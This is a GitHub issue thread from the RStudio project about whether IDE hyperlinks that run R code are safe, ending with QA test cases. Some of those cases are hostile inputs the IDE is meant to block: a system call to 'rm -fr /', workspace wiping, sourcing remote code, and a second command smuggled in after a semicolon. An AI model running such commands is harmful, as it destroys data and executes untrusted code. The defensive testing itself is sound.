You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The current behaviour of code-executing hyperlinks feels a bit risky — obviously we'll be careful with our use of it, but we have introduced a fairly easy way to introduce easily executable code into the output. I think it would be nice if clicking on the link showed a popup with exactly what code would be run along with a button that would run it.
Relatedly, should they be styled slightly differently ? because the action is different: do something rather than go somewhere ? Maybe they can look more like a button ?
@kevinushey@romainfrancois@jgutman Are these links actually running code? I thought they would just take you to a location in the current file, or to an external link.
@kevinushey@romainfrancois@jgutman Are these links actually running code? I thought they would just take you to a location in the current file, or to an external link.
They do so by running code in the R session (we have an RPC so that the R session can handle the navigation attempt).
That said, as I understand it, RStudio just understands how to follow file URIs with some extra metadata, and all of that processing goes through .rs.rpc.console_follow_hyperlink(). In other words, we're not just evaluating arbitrary user input within a hyperlink; we're handling a semi-internal protocol for generated links. Is that correct, or am I missing something separate?
Relatedly, should they be styled slightly differently ? because the action is different: do something rather than go somewhere ? Maybe they can look more like a button ?
For what it's worth, I like the current treatment.
final QA note: there were a lot of discussion here. Here are some final code to test this:
# original issue: https://github.com/rstudio/rstudio/issues/1941# last pull request: https://github.com/rstudio/rstudio/pull/11421# web page ----------------------------------------------------------------# clicking should open the webpagecli::style_hyperlink("rstudio", "https://www.rstudio.com")
# File --------------------------------------------------------------# clicking should open the file ... file<- tempfile(fileext=".R")
writeLines("hello\nhola\nbonjour", file)
# ... at the beginningcli::style_hyperlink("file", paste0("file://", file))
# ... at line 2, column 2cli::style_hyperlink("file", paste0("file://", file), c(line=2, col=2))
# Help --------------------------------------------------------------------# hovering will show preview information about dplyr::summarise# clicking will open the full help page in the help panecli::style_hyperlink("help page", "ide:help:dplyr::summarise")
# samecli::style_hyperlink("help page", "ide:help", c(topic="summarise", package="dplyr"))
# popup says "package not found"# clicking errors with:# Error in find.package(if (is.null(package)) loadedNamespaces() else package, : # there is no package called ‘dply’cli::style_hyperlink("help page", "ide:help:dply::summarise")
# hovering says "documentation not found"# clicking errors with: # No documentation for ‘zummarise’ in specified packages and libraries:# you could try ‘??zummarise’cli::style_hyperlink("help page", "ide:help:dplyr::zummarise")
# Vignette ----------------------------------------------------------------# popup shows title and description for the vignette# clicking opens the vignette in the help panecli::style_hyperlink("vignette", "ide:vignette:dplyr::dplyr")
# package not foundcli::style_hyperlink("vignette", "ide:vignette:dply::dplyr")
# vignette not foundcli::style_hyperlink("vignette", "ide:vignette:dplyr::dply")
# Code --------------------------------------------------------------# popup shows help for rlang::last_error# clicknig runs the codecli::style_hyperlink("show traceback", "ide:run:rlang::last_error()")
# if sessioninfo is installed, the popup will show some information# clicking will just copy the code in the consolecli::style_hyperlink("show session info", "ide:run:sessioninfo::session_info()")
# foo is not installed, code also just copiedcli::style_hyperlink("show foo", "ide:run:foo::bar()")
# forbidden, clicking does nothingcli::style_hyperlink("show traceback ...", "ide:run:rm(list = ls())")
cli::style_hyperlink("show traceback ...", "ide:run:base::rm(list = ls())")
cli::style_hyperlink("show traceback ...", "ide:run:base::source('http://example.org/code.R')")
cli::style_hyperlink("show traceback ...", "ide:run:base::system('rm -fr /')")
cli::style_hyperlink("show traceback ...", "ide:run:rlang::last_error(); rm(list = ls())")
cli::style_hyperlink("show traceback ...", "ide:run:rlang::last_error(a = rm(list = ls()))")
Activity
romainfrancois commentedon May 24, 2022
Relatedly, should they be styled slightly differently ? because the action is different: do something rather than go somewhere ? Maybe they can look more like a button ?
romainfrancois commentedon May 24, 2022
Would "copy the code in the console" without running it be enough ? Then the user would have to hit enter and so can check the code.
hadley commentedon May 24, 2022
I think we still want some way to run the code just by using the mouse
mikebessuille commentedon May 24, 2022
@kevinushey @romainfrancois @jgutman Are these links actually running code? I thought they would just take you to a location in the current file, or to an external link.
kevinushey commentedon May 24, 2022
They do so by running code in the R session (we have an RPC so that the R session can handle the navigation attempt).
That said, as I understand it, RStudio just understands how to follow file URIs with some extra metadata, and all of that processing goes through
.rs.rpc.console_follow_hyperlink(). In other words, we're not just evaluating arbitrary user input within a hyperlink; we're handling a semi-internal protocol for generated links. Is that correct, or am I missing something separate?For what it's worth, I like the current treatment.
45 remaining items
romainfrancois commentedon Jun 15, 2022
final QA note: there were a lot of discussion here. Here are some final code to test this:
ronblum commentedon Jun 15, 2022
Verified in
Leaving this open as a candidate for automated testing.
ronblum commentedon Jun 15, 2022
Closing as complete.
Improve error message when using orderly interactively.
Improve error message when using orderly interactively.
Improve error message when using orderly interactively.
Improve error message when using orderly interactively.
Improve error message when using orderly interactively.